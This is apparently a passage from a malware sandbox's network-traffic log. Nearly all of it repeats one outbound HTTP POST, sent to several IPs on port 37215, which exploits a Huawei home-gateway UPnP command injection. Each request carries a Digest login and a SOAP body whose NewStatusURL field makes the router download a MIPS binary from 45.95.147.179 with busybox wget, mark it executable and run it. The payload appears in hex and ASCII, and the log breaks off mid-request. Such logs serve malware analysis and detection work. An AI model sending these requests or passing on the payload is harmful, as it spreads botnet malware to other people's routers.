Jan 22, 2024 04:01:38.540652037 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:10.860740900 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.20	51258	94.121.65.139	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:07.168421030 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.20	47842	156.254.84.152	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:07.218508005 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:08.672574997 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:10.420613050 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:13.916610003 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:20.908607960 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:34.892648935 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:02.860985994 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 